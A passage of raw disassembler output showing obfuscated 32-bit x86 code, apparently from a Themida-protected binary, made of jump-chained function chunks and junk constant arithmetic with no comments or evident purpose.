		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_560588
; ---------------------------------------------------------------------------


loc_56C756:				; CODE XREF: sub_55EDA7+102AEj
		xchg	ebp, [esp-10h+arg_C]
		pop	esp
		jmp	loc_5620AE
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D048


loc_56C75F:				; CODE XREF: sub_56D048+9j
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 34AE00F5h
		xor	ebx, 2803620Fh
		push	eax
		jmp	loc_55F22A
; END OF FUNCTION CHUNK	FOR sub_56D048
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C779:				; CODE XREF: sub_55EDA7+11AA9j
		mov	[esp-14h+arg_10], edx
		jmp	loc_56CB2E
; ---------------------------------------------------------------------------


loc_56C781:				; CODE XREF: sub_55EDA7+539j
		push	3C9Eh
		jmp	loc_570D35
; ---------------------------------------------------------------------------


loc_56C78B:				; CODE XREF: sub_55EDA7+5EDDj
		add	esp, 4
		add	esp, 4
		jmp	loc_5726A8
; ---------------------------------------------------------------------------


loc_56C79C:				; CODE XREF: sub_55EDA7+9660j
		add	ecx, edx
		sub	ecx, 320B0842h
		pop	edx
		push	ebp
		mov	ebp, 4
		jmp	loc_563F9D
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56C7B0	proc near		; CODE XREF: sub_55EDA7+2D68j

var_8		= dword	ptr -8

		push	ebp
		push	esp
		pop	ebp
		push	2D5Eh
		mov	[esp+8+var_8], esi
		mov	esi, 4
		jmp	loc_5693E2
sub_56C7B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C7C5:				; CODE XREF: sub_55EDA7+13CA5j
		pop	ebp
		pop	edx
		push	[esp-10h+arg_C]
		push	[esp-0Ch+arg_8]
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		add	esp, 4
		jmp	loc_5603E9
; ---------------------------------------------------------------------------


loc_56C7DB:				; CODE XREF: sub_55EDA7+11BA0j
		xor	edi, 305E618Dh
		jmp	loc_565E7C
; ---------------------------------------------------------------------------


loc_56C7E6:				; CODE XREF: sub_55EDA7+18FFj
		push	[esp-18h+arg_14]
		pop	edx
		add	esp, 4
		xor	esi, [esp-1Ch+arg_18]
		xor	[esp-1Ch+arg_18], esi
		jmp	loc_55F8EB
; ---------------------------------------------------------------------------


loc_56C7F8:				; CODE XREF: sub_55EDA7+2CADj
		add	ecx, 0EE3653A6h
		sub	edi, ecx
		jmp	loc_56B842
; ---------------------------------------------------------------------------


loc_56C805:				; CODE XREF: sub_55EDA7+58D4j
		add	ebx, edx
		push	eax
		jmp	loc_5645ED
; ---------------------------------------------------------------------------


loc_56C80D:				; CODE XREF: sub_55EDA7+127BDj
		or	eax, 3C68121Dh
		shl	eax, 6
		or	eax, 25BB3867h
		sub	eax, 0AE62EE3Bh
		add	ebp, eax
		pop	eax
		mov	ebx, 0F3D255DDh
		sub	ebx, 588C12C4h
		add	ebx, 42315DAFh
		sub	ebx, 1F65506h
		add	ebx, ebp
		add	ebx, 1F65506h
		push	eax
		mov	eax, 42315DAFh
		jmp	loc_562C6F
; ---------------------------------------------------------------------------


loc_56C84C:				; CODE XREF: sub_55EDA7+6735j
		xor	cl, dh
		sub	cl, 0E6h
		jmp	loc_562AF2
; ---------------------------------------------------------------------------


loc_56C856:				; CODE XREF: sub_55EDA7+6A9Ej
		sub	ebp, 27DCA270h
		push	ebp
		sub	[esp-1Ch+arg_18], 552C1A2Ch
		pop	eax
		add	eax, 552C1A2Ch
		pop	ebp
		add	edx, eax
		mov	eax, [esp-24h+arg_20]
		add	esp, 4
		xchg	edx, [esp-28h+arg_24]
		mov	esp, [esp-28h+arg_24]
		push	dword ptr [edi+1Ch]
		push	[esp-24h+arg_20]
		mov	ecx, [esp-20h+arg_1C]
		push	ecx
		mov	ecx, esp
		jmp	loc_56AC0F
; ---------------------------------------------------------------------------


loc_56C88A:				; CODE XREF: sub_55EDA7+10BBj
		mov	[esp+0Ch+var_E+2], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		sub	esp, 4
		jmp	loc_56A96A
; ---------------------------------------------------------------------------


loc_56C8A1:				; CODE XREF: sub_55EDA7+4E8Aj
		add	esp, 4
		and	ecx, 74B833DEh
		xor	ecx, 155445BFh
		mov	ebp, ecx
		push	[esp-26h+arg_20+2]
		mov	ecx, [esp-22h+arg_1C+2]
		add	esp, 4
		jmp	loc_566875
; ---------------------------------------------------------------------------


loc_56C8C3:				; CODE XREF: sub_55EDA7+3F39j
		mov	edx, 7F9B12F5h
		dec	edx
		not	edx
		jmp	loc_56383E
; ---------------------------------------------------------------------------


loc_56C8D0:				; CODE XREF: sub_55EDA7+F9ABj
		sub	edx, ebp
		pop	ebp
		jmp	loc_568D22
; ---------------------------------------------------------------------------


loc_56C8D8:				; CODE XREF: sub_55EDA7+83A6j
		mov	edx, [esp+3Ch+var_3E+2]
		add	esp, 4
		inc	ecx
		jmp	loc_562861
; ---------------------------------------------------------------------------


loc_56C8E7:				; CODE XREF: sub_55EDA7+1132Fj
		sub	edx, edi
		add	edx, 28CE28AAh
		pop	edi
		pop	eax
		xchg	edx, [esp+30h+var_32+2]
		mov	esp, [esp+30h+var_32+2]
		jmp	loc_5659E3
; ---------------------------------------------------------------------------


loc_56C8FC:				; CODE XREF: sub_55EDA7+FB58j
		add	eax, ebx
		pop	ebx
		push	3B99h
		mov	[esp+30h+var_32+2], ebp
		push	edx
		jmp	loc_566F56
; ---------------------------------------------------------------------------


loc_56C90D:				; CODE XREF: sub_55EDA7+884Cj
		mov	dh, 95h
		xor	al, dh
		push	[esp-0Ch+arg_8]
		mov	edx, [esp-8+arg_4]
		jmp	loc_56955A
; ---------------------------------------------------------------------------


loc_56C91C:				; CODE XREF: sub_55EDA7+DEC5j
		pop	esp
		mov	[esp-0Ch+arg_8], esi
		jmp	loc_562F70
; ---------------------------------------------------------------------------


loc_56C925:				; CODE XREF: sub_55EDA7+EFC7j
		mov	ecx, [esp-0Ch+arg_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		xor	eax, edx
		pop	edx
		jmp	loc_564803
; ---------------------------------------------------------------------------


loc_56C943:				; CODE XREF: sub_55EDA7+138FCj
		add	ebx, edx
		sub	ebx, 1C648Dh
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56C95B:				; CODE XREF: sub_55EDA7+C010j
		mov	[esp+2Ah+var_2A], ebp
		push	10ABh
		mov	[esp+2Eh+var_2E], esi
		jmp	loc_56238E
; ---------------------------------------------------------------------------


loc_56C96B:				; CODE XREF: sub_55EDA7+7E94j
		sub	esi, 1102ACA3h
		jmp	loc_564517
; ---------------------------------------------------------------------------


loc_56C976:				; CODE XREF: sub_55EDA7+BA69j
		sub	dl, 0E7h
		add	bh, dl
		pop	edx
		add	cl, bh
		mov	ebx, [esp+1Ch+var_1E+2]
		jmp	loc_563461
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56C986	proc near		; CODE XREF: sub_572A8F+1j

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, 23B80692h
		sub	[esp+4], ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_560768
sub_56C986	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C998:				; CODE XREF: sub_55EDA7+9F1Ej
		or	edi, 5A467606h
		inc	edi
		sub	edi, 52205D8Fh
		sub	edi, 0E92FBCAFh
		or	ecx, edi
		pop	edi
		xor	ecx, 2E64230Bh
		sub	eax, ecx
		pop	ecx
		push	6270h
		mov	[esp-10h+arg_C], edi
		sub	esp, 4
		jmp	loc_566C71
; ---------------------------------------------------------------------------


loc_56C9C7:				; CODE XREF: sub_55EDA7+A79Dj
		push	esi
		mov	esi, 0BA92C76h
		or	esi, 0FF7EBFh
		inc	esi
		not	esi
		add	esi, 66E4D985h
		and	ebx, esi
		pop	esi
		dec	ebx
		not	ebx
		shl	ebx, 6
		sub	ebx, 0C467EDFCh
		sub	esi, 255450BDh
		add	esi, ebx
		add	esi, 255450BDh
		pop	ebx
		add	esi, edi
		push	eax
		mov	eax, 0A441204h
		sub	esi, eax
		pop	eax
		mov	edi, [esp+4+var_4]
		add	esp, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		ror	[esp-4+arg_0], cl
		pushf
		jmp	loc_56FE33
; ---------------------------------------------------------------------------


loc_56CA21:				; CODE XREF: sub_55EDA7+4A92j
		sub	ecx, edx
		jmp	loc_56BC9D
; ---------------------------------------------------------------------------


loc_56CA28:				; CODE XREF: sub_55EDA7+37E4j
		dec	dh
		jmp	loc_56047A
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F095


loc_56CA2F:				; CODE XREF: sub_56F095+Cj
		and	ebx, 6ACA241Ah
		jmp	loc_56222B
; END OF FUNCTION CHUNK	FOR sub_56F095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56CA3A:				; CODE XREF: sub_55EDA7+6BE9j
		add	edx, ebx
		add	edx, 4BF10E61h
		mov	ebx, [esp-1Ch+arg_18]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_570FBE
; ---------------------------------------------------------------------------


loc_56CA4D:				; CODE XREF: sub_55EDA7+AA95j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_56601C
; ---------------------------------------------------------------------------


loc_56CA61:				; CODE XREF: sub_55EDA7+C63Bj
		not	edi
		push	3D35h
		jmp	loc_56A95C
; ---------------------------------------------------------------------------


loc_56CA6D:				; CODE XREF: sub_55EDA7+3B55j
		push	ecx
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebp
		mov	ebp, 4
		mov	ecx, ebp
		jmp	loc_572CE8
; ---------------------------------------------------------------------------


loc_56CA83:				; CODE XREF: sub_55EDA7+373Fj
		add	[esp+20h+var_22+2], 4
		pop	esi
		sub	esp, 4
		mov	[esp+20h+var_22+2], ecx
		push	ebx
		push	esi
		jmp	loc_56F06A
; ---------------------------------------------------------------------------


loc_56CA95:				; CODE XREF: sub_55EDA7+11CBAj
		pop	edx
		jmp	loc_568867
; ---------------------------------------------------------------------------


loc_56CA9B:				; CODE XREF: sub_55EDA7+FBC0j
		add	edx, 4C9E4338h
		sub	edx, ebx
		sub	edx, 4C9E4338h
		mov	ebx, [esp+24h+var_26+2]
		add	esp, 4
		sub	edx, 7BF2D67h
		jmp	loc_564842
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E2EC


loc_56CABD:				; CODE XREF: sub_55E2EC+21j
		push	4BCEh
		mov	[esp+0], ebp
		push	1
		pop	ebp
		and	eax, ebp
		push	dword ptr [esp+0]
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		push	eax
		jmp	loc_563EA0
; END OF FUNCTION CHUNK	FOR sub_55E2EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56CADF:				; CODE XREF: sub_55EDA7+68E5j
		shl	dx, 3
		not	dx
		and	dx, 216Dh
		shl	dx, 4
		push	eax
		mov	ax, 3692h
		neg	ax
		shr	ax, 4
		add	ax, 0E770h
		sub	dx, ax
		jmp	loc_56C285
; ---------------------------------------------------------------------------


loc_56CB07:				; CODE XREF: sub_55EDA7-AC0j
		add	ecx, 433E72E9h
		jmp	loc_565FE9
; ---------------------------------------------------------------------------


loc_56CB12:				; CODE XREF: sub_55EDA7+7E89j
		pop	ebp
		xor	ecx, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], ecx
		xor	ecx, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		mov	[esp+20h+var_22+2], edi
		push	esi
		push	ebx
		push	58561B7Dh
		jmp	loc_560061
; ---------------------------------------------------------------------------


loc_56CB2E:				; CODE XREF: sub_55EDA7+D9D5j
		push	421Bh
		push	esp
		jmp	loc_567E90
; ---------------------------------------------------------------------------


loc_56CB39:				; CODE XREF: sub_55EDA7+EF0j
		xor	ebp, [esp+8+var_8]
		jmp	loc_560723
; ---------------------------------------------------------------------------


loc_56CB41:				; CODE XREF: sub_55EDA7+C8DCj
		add	esp, 4
		pop	[esp-2Ch+arg_28]
		pop	esp
		mov	cx, word ptr [esp-34h+arg_30]
		jmp	loc_56B2FF
; ---------------------------------------------------------------------------


loc_56CB51:				; CODE XREF: sub_55EDA7+8AE8j
		or	ebx, 277D5C60h
		inc	ebx
		xor	ebx, 59E17D2h
		jmp	loc_56010F
; ---------------------------------------------------------------------------


loc_56CB63:				; CODE XREF: sub_55EDA7+1977j
		pop	edi
		xor	ecx, esi
		mov	esi, [esp-30h+arg_2C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_565943
; ---------------------------------------------------------------------------


loc_56CB77:				; CODE XREF: sub_55EDA7+1E8Aj
		mov	[esp-10h+arg_C], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		not	ecx
		jmp	loc_563A6B
; ---------------------------------------------------------------------------


loc_56CB91:				; CODE XREF: sub_55EDA7+3E7j
		dec	ah
		xor	ah, 85h
		sub	ah, 0BCh
		push	ecx
		jmp	loc_55EB94
; ---------------------------------------------------------------------------


loc_56CB9F:				; CODE XREF: sub_55EDA7+114D7j
		mov	dl, 0DBh
		jmp	loc_570BC4
; ---------------------------------------------------------------------------


loc_56CBA6:				; CODE XREF: sub_55EDA7+ADBCj
		mov	edi, 2EEA61F0h
		jmp	loc_55ECF6
; ---------------------------------------------------------------------------


loc_56CBB0:				; CODE XREF: sub_55EDA7+752Ej
		xor	ecx, 72F74930h
		and	ecx, 6781566Dh
		add	ecx, 73FD360Ah
		dec	ecx
		xor	ecx, 987E4A69h
		add	eax, 5DA567C3h
		jmp	loc_564FCF
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E91D


loc_56CBD3:				; CODE XREF: sub_56E91D+9j
		mov	ebx, esp
		jmp	loc_571DBD
; END OF FUNCTION CHUNK	FOR sub_56E91D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56CBDA	proc near		; CODE XREF: sub_55EDA7+5AECj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		add	ebx, 445C13E3h
		sub	ebx, esi
		sub	ebx, 445C13E3h
		mov	esi, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		add	ebx, edi
		push	ecx
		push	esi
		push	26B3697Dh
		jmp	loc_56563E
sub_56CBDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_56CC1C	proc near		; CODE XREF: sub_55EDA7+A8F9j
		push	ebp
		jmp	loc_565B4D
sub_56CC1C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56CC22:				; CODE XREF: sub_55EDA7+4F5Fj
		pop	eax
		jmp	loc_566107
; ---------------------------------------------------------------------------


loc_56CC28:				; CODE XREF: sub_55EDA7+2CDFj
		push	ecx
		push	esp
		jmp	loc_563E2E
; ---------------------------------------------------------------------------


loc_56CC2F:				; CODE XREF: sub_55EDA7+3461j
		push	edi
		jmp	loc_567E45
; ---------------------------------------------------------------------------


loc_56CC35:				; CODE XREF: sub_55EDA7+8F45j
		dec	cl
		jmp	loc_56CDBA
; ---------------------------------------------------------------------------


loc_56CC3C:				; CODE XREF: sub_55EDA7+A226j
		jmp	loc_55E1FB
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56CC41	proc near		; CODE XREF: sub_55EDA7+3A0Bj

var_8		= dword	ptr -8

		push	ebp
		push	143Eh
		mov	[esp+8+var_8], edx
		jmp	loc_5626F8
sub_56CC41	endp

; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		jmp	loc_56D011
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56CC5C:				; CODE XREF: sub_55EDA7-398j
		xor	edx, edx
		sub	esp, 4
		jmp	loc_567BFC
; ---------------------------------------------------------------------------


loc_56CC69:				; CODE XREF: sub_55EDA7+A02Fj
		xchg	edi, [esp+48h+var_4A+2]
		jmp	loc_56C91C
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56CC71	proc near		; CODE XREF: sub_55EDA7+6CE8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0057077C SIZE 0000001B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_57077C
sub_56CC71	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56CC87:				; CODE XREF: sub_55EDA7+7050j
		xchg	ebx, [esp-10h+arg_C]
		jmp	loc_561573
; ---------------------------------------------------------------------------


loc_56CC8F:				; CODE XREF: sub_55EDA7+11071j
		push	78CEh
		mov	[esp-0Ch+arg_8], eax
		jmp	loc_56BD57
; ---------------------------------------------------------------------------


loc_56CC9C:				; CODE XREF: sub_55EDA7+11846j
		xor	eax, [esp-0Ch+arg_8]
		jmp	loc_565510
; ---------------------------------------------------------------------------


loc_56CCA4:				; CODE XREF: sub_55EDA7+D5B5j
		push	esp
		pop	ebx
		jmp	loc_5616DE
; ---------------------------------------------------------------------------


loc_56CCAB:				; CODE XREF: sub_55EDA7+76D8j
		pop	esi
		add	esp, 4
		add	ecx, 4033AD11h
		push	ebx
		mov	ebx, 6020830h
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		mov	edi, 7D6D67C0h
		jmp	loc_56726A
; ---------------------------------------------------------------------------


loc_56CCD4:				; CODE XREF: sub_55EDA7+3309j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_565803
		push	edx
		push	ebp
		jmp	loc_5617A0
; ---------------------------------------------------------------------------


loc_56CCE5:				; CODE XREF: sub_55EDA7+D6E8j
		inc	edx
		dec	edx
		inc	edx
		neg	edx
		xor	edx, 0F0B7F1E5h
		dec	edx
		jmp	loc_571C1F
; ---------------------------------------------------------------------------


loc_56CCF6:				; CODE XREF: sub_55EDA7+1103Cj
		mov	ebx, 8DD0112h
		sub	ebx, 2CD86E18h
		jmp	loc_572258
; ---------------------------------------------------------------------------


loc_56CD06:				; CODE XREF: sub_55EDA7+B6EEj
		push	[esp-18h+arg_14]
		push	[esp-14h+arg_10]
		pop	ecx
		add	esp, 4
		push	574Ah
		mov	[esp-14h+arg_10], ecx
		push	14C3h
		push	esp
		pop	[esp-0Ch+arg_8]
		push	24B3h
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, 4
		add	[esp-0Ch+arg_C], ebp
		pop	ebp
		mov	ecx, [esp-10h+arg_C]
		jmp	loc_5647E4
; ---------------------------------------------------------------------------


loc_56CD3E:				; CODE XREF: sub_55EDA7+F289j
		push	edi
		mov	edi, 54FE2DCCh
		sub	ecx, edi
		jmp	loc_56648B
; ---------------------------------------------------------------------------


loc_56CD4B:				; CODE XREF: sub_55EDA7+11669j
		mov	ebx, 77493B81h
		mov	edx, 45CC6D6h
		add	edx, 4D926ADEh
		add	edx, ebx
		sub	edx, 4D926ADEh
		mov	ebx, [esp-0Ch+arg_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_563780
; ---------------------------------------------------------------------------


loc_56CD74:				; CODE XREF: sub_55EDA7+34C3j
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_55F971
; ---------------------------------------------------------------------------


loc_56CD87:				; CODE XREF: sub_55EDA7+CFCDj
		xor	esi, eax
		pop	eax
		jmp	loc_570E6B
; ---------------------------------------------------------------------------


loc_56CD8F:				; CODE XREF: sub_55EDA7+5B44j
		pop	ebx
		push	344Bh
		mov	[esp+18h+var_1A+2], edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_568615
; ---------------------------------------------------------------------------


loc_56CDA4:				; CODE XREF: sub_55EDA7+28CEj
		pop	[esp+34h+var_36+2]
		mov	esp, [esp+30h+var_32+2]
		mov	[esp+30h+var_32+2], esi
		push	[esp+30h+var_2E+2]
		mov	esi, [esp+34h+var_36+2]
		push	ebx
		jmp	loc_567C0C
; ---------------------------------------------------------------------------


loc_56CDBA:				; CODE XREF: sub_55EDA7+DE90j
		not	cl
		shl	cl, 6
		inc	cl
		xor	cl, 1Ch
		jmp	loc_564645
; ---------------------------------------------------------------------------


loc_56CDC9:				; CODE XREF: sub_55EDA7+10488j
		pop	ebx
		sub	ecx, eax
		add	ecx, 0AC64B90h
		mov	eax, [esp+14h+var_16+2]
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], esp
		add	[esp+18h+var_1A+2], 4
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], ecx
		push	[esp+10h+var_E+2]
		mov	ecx, [esp+14h+var_16+2]
		add	esp, 4
		pop	[esp+10h+var_12+2]
		pop	esp
		mov	[esp+8+var_8], ecx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56CE13:				; CODE XREF: sub_55EDA7+CCF5j
		add	ebp, eax
		pop	eax
		jmp	loc_5718FD
; ---------------------------------------------------------------------------


loc_56CE1B:				; CODE XREF: sub_55EDA7+5E91j
		add	esp, 4
		add	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xor	esi, [esp-8+arg_4]
		jmp	loc_561C36
; ---------------------------------------------------------------------------


loc_56CE32:				; CODE XREF: sub_55EDA7+299Aj
		mov	[esp+48h+var_4A+2], esp
		add	[esp+48h+var_4A+2], 4
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_56235C
; ---------------------------------------------------------------------------


loc_56CE4B:				; CODE XREF: sub_55EDA7+6082j
		mov	edi, [esp+2Ch+var_2E+2]
		add	esp, 4
		jmp	sub_56D266
; ---------------------------------------------------------------------------


loc_56CE56:				; CODE XREF: sub_55EDA7+113F9j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		push	edx
		jmp	loc_56068A
; ---------------------------------------------------------------------------


loc_56CE6B:				; CODE XREF: sub_55EDA7+5973j
		and	ebp, 35956371h
		dec	ebp
		push	edx
		mov	edx, 2D375158h
		jmp	loc_56B856
; ---------------------------------------------------------------------------


loc_56CE7D:				; CODE XREF: sub_55EDA7+F613j
		mov	eax, [esp+4+var_4]
		jmp	loc_561898
; ---------------------------------------------------------------------------


loc_56CE85:				; CODE XREF: sub_55EDA7+B92Cj
		shr	edx, 2
		push	esi
		mov	esi, 0C71B2398h
		jmp	loc_56EFBF
; ---------------------------------------------------------------------------


loc_56CE93:				; CODE XREF: sub_55EDA7+B450j
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_56F24B
; ---------------------------------------------------------------------------


loc_56CEA1:				; CODE XREF: sub_55EDA7+103CFj
		push	29BCh
		mov	[esp-4+arg_0], edi
		jmp	loc_56C361
; ---------------------------------------------------------------------------


loc_56CEAE:				; CODE XREF: sub_55EDA7+1EF3j
		dec	ebp
		xor	ebp, 8FBEFFC1h
		jmp	sub_55ED87
; ---------------------------------------------------------------------------


loc_56CEBA:				; CODE XREF: sub_55EDA7+BC2Bj
		sub	esp, 4
		jmp	loc_5633F7
; ---------------------------------------------------------------------------


loc_56CEC2:				; CODE XREF: sub_55EDA7+109EDj
		mov	ecx, ebp
		mov	edx, ecx
		jmp	loc_5712FF
; ---------------------------------------------------------------------------


loc_56CECB:				; CODE XREF: sub_55EDA7-8A1j
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp-0Eh+arg_8+2]
		pop	esp
		jmp	loc_563F49
; ---------------------------------------------------------------------------


loc_56CEDD:				; CODE XREF: sub_55EDA7+99C1j
		mov	[esp+40h+var_42+2], esi
		mov	esi, 58343A01h
		jmp	loc_5614E2
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56CEEA	proc near		; CODE XREF: sub_55EDA7+102BEj

var_8		= dword	ptr -8

		push	ebx
		push	1FC6h
		mov	[esp+8+var_8], ebp
		push	eax
		jmp	loc_5691C9
sub_56CEEA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56CEF9:				; CODE XREF: sub_55EDA7+96Bj
		add	edx, 4
		xchg	edx, [esp-0Ah+arg_4+2]
		mov	esp, [esp-0Ah+arg_4+2]
		xor	bx, ax
		movzx	eax, ax
		push	small 252Ch
		mov	word ptr [esp-8+arg_4],	ax
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56CF15:				; CODE XREF: sub_55EDA7+13980j
		add	esp, 4
		pop	[esp-0Ch+arg_8]
		mov	esp, [esp-10h+arg_C]
		shl	[esp-10h+arg_C], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56CF2A:				; CODE XREF: sub_55EDA7+FDC9j
		pop	edx
		add	esp, 4
		shl	ebx, 4
		inc	ebx
		push	ebx
		dec	[esp-10h+arg_C]
		jmp	loc_56BD2E
; ---------------------------------------------------------------------------


loc_56CF3B:				; CODE XREF: sub_55EDA7+10346j
		add	esp, 4
		mov	edx, [esp-14h+arg_10]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 7BEE4731h
		dec	esi
		or	esi, 65D53ABCh
		sub	esi, 0AC84EB4h
		shr	esi, 6
		or	esi, 6FE561B8h
		jmp	loc_567300
; ---------------------------------------------------------------------------


loc_56CF6B:				; CODE XREF: sub_55EDA7+F0D3j
		pop	edx
		push	ebp
		mov	ebp, 4
		add	esi, 0A7E0FEDh
		add	esi, ebp
		jmp	loc_570D2A
; ---------------------------------------------------------------------------


loc_56CF7F:				; CODE XREF: sub_55EDA7+18CAj
		push	2EC5h
		mov	[esp-18h+arg_14], ecx
		mov	ecx, 40C6517Ah
		xor	ecx, 37935462h
		jmp	loc_571227
; ---------------------------------------------------------------------------


loc_56CF97:				; CODE XREF: sub_55EDA7+A89Dj
		and	edi, 6B816DE6h
		add	edi, 12789B6Dh
		add	ebp, 69C74515h
		sub	ebp, edi
		sub	ebp, 69C74515h
		pop	edi
		add	ebp, ecx
		add	ebp, 74FA0051h
		push	[esp-2Ch+arg_28]
		pop	ecx
		add	esp, 4
		or	esi, ebp
		jmp	loc_56BAFB
; ---------------------------------------------------------------------------


loc_56CFC8:				; CODE XREF: sub_55EDA7+7E52j
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+1Ch+var_1E+2]
		pop	esp
		mov	[esp+18h+var_1A+2], ebx
		sub	esp, 4
		sub	esp, 4
		jmp	loc_571CE7
; ---------------------------------------------------------------------------


loc_56CFE5:				; CODE XREF: sub_55EDA7+13EDDj
		mov	ecx, [esp+20h+var_22+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+24h+var_26+2]
		pop	esp
		jmp	loc_5684A7
; ---------------------------------------------------------------------------


loc_56CFFC:				; CODE XREF: sub_55EDA7+4E3Ej
		pop	eax
		add	esp, 4
		push	ebx
		push	edi
		mov	edi, 1C361AF4h
		mov	ebx, edi
		jmp	loc_572494
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56D011:				; CODE XREF: Themida_:0056CC57j
		mov	ecx, 3A08723Ch
		push	ebp
		jmp	loc_56D2D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D01C:				; CODE XREF: sub_55EDA7+115D7j
		mov	ebx, 28D33C59h
		neg	ebx
		sub	ebx, 69624DE9h
		jmp	loc_55E2E4
; ---------------------------------------------------------------------------


loc_56D02E:				; CODE XREF: sub_55EDA7+7CACj
		inc	ecx
		or	ecx, 71FA73D2h
		shl	ecx, 2
		add	ecx, 79E47119h
		add	eax, 7FC72928h
		jmp	loc_55F1CE
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56D048	proc near		; CODE XREF: sub_55EDA7+C16j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056C75F SIZE 0000001A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_56C75F
sub_56D048	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D056:				; CODE XREF: sub_55EDA7+306Fj
		pop	eax
		push	ecx
		jmp	loc_55FDB8
; ---------------------------------------------------------------------------


loc_56D05D:				; CODE XREF: sub_55EDA7+F67Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
